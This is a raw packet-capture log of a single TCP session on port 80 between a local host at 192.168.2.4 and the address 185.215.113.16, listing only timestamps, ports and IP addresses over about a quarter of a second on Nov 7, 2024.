Nov 7, 2024 06:01:11.883809090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883816004 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883822918 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883831024 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883866072 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883871078 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883886099 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883898020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883904934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883935928 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883980989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883991957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884005070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884013891 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884016991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884032011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884041071 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884051085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884068966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884097099 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884109020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884120941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884134054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884144068 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884145021 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884162903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884186983 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884232998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884243965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884255886 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884263992 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884268999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884294987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884320974 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884365082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884376049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884386063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884394884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884413004 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884428978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884438038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884449959 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884463072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884470940 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884474993 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884493113 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884509087 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884526014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884536982 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884548903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884555101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884583950 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884612083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884624004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884637117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884644032 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884670019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884671926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884682894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884695053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884704113 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884736061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884799957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884810925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884823084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884831905 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884835005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884861946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884887934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.884913921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.884948015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885010004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885032892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885044098 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885061026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885077000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885085106 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885088921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885101080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885104895 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885116100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885128021 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885128021 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885140896 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885153055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885155916 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885174990 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885194063 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885205984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885237932 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885310888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885323048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885334015 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885343075 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885351896 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885361910 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885365009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885380030 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885385036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885396957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885397911 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885411024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885422945 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885461092 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885471106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885483027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885500908 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885509968 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885514021 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885533094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885551929 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885638952 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885651112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885668039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885677099 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885679960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885693073 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885703087 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885705948 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885719061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885730028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885737896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885742903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885751963 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885791063 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885792971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885824919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885869026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885880947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885907888 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885921955 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885925055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885938883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885951042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885961056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.885962963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.885984898 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886001110 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886138916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886151075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886162043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886172056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886174917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886188030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886198044 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886204958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886209965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886224031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886233091 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886255980 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886260033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886276960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886292934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886382103 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886394024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886405945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886415005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886416912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886451960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886451960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886461973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886472940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886485100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886492014 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886507988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886518955 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886519909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886533976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886545897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886574984 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886575937 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886606932 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886651039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886662960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886688948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886703014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886714935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886737108 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886763096 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886776924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886789083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886806011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886811972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886818886 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886827946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886831999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886845112 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886846066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886864901 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886888027 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.886917114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.886951923 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887015104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887027025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887037992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887048006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887048960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887061119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887075901 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887095928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887101889 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887109041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887121916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887128115 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887140989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887152910 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887156010 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887164116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887176991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887181997 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887190104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887198925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887202978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887227058 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887253046 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887448072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887465000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887481928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887482882 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887495041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887499094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887509108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887516975 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887521029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887533903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887536049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887547970 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887561083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887567043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887573957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887582064 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887599945 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887624025 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887682915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887696028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887706995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887732983 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887733936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887751102 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887803078 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887814999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887826920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887839079 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887837887 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887852907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887861967 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887866974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887875080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887881041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887892962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887902021 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887906075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.887924910 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.887947083 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888686895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888699055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888710976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888725042 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888725996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888740063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888753891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888761044 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888766050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888778925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888787031 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888796091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888808012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888813019 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888820887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888834000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888834953 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888847113 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888858080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888870001 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.888870001 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888885975 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888895988 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.888926029 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.960901976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.960925102 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.960935116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.961074114 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.000273943 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.000319958 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.000329971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.000351906 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.000361919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.000372887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.000387907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.000399113 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.000449896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.039756060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.039772034 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.039779902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.039786100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.039796114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.039921999 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040014029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040060043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040189981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040206909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040220976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040234089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040235043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040246964 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040256977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040257931 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040276051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040281057 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040288925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040301085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040311098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040323973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040327072 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040335894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040348053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040357113 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040360928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040374041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040383101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040391922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040391922 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040405035 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040436029 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040453911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040466070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040476084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040488958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040497065 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040518045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040657997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040674925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040687084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040698051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040709972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040715933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040726900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040740013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040750027 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040751934 CET	80	49797	185.215.113.16	192.168.2.4
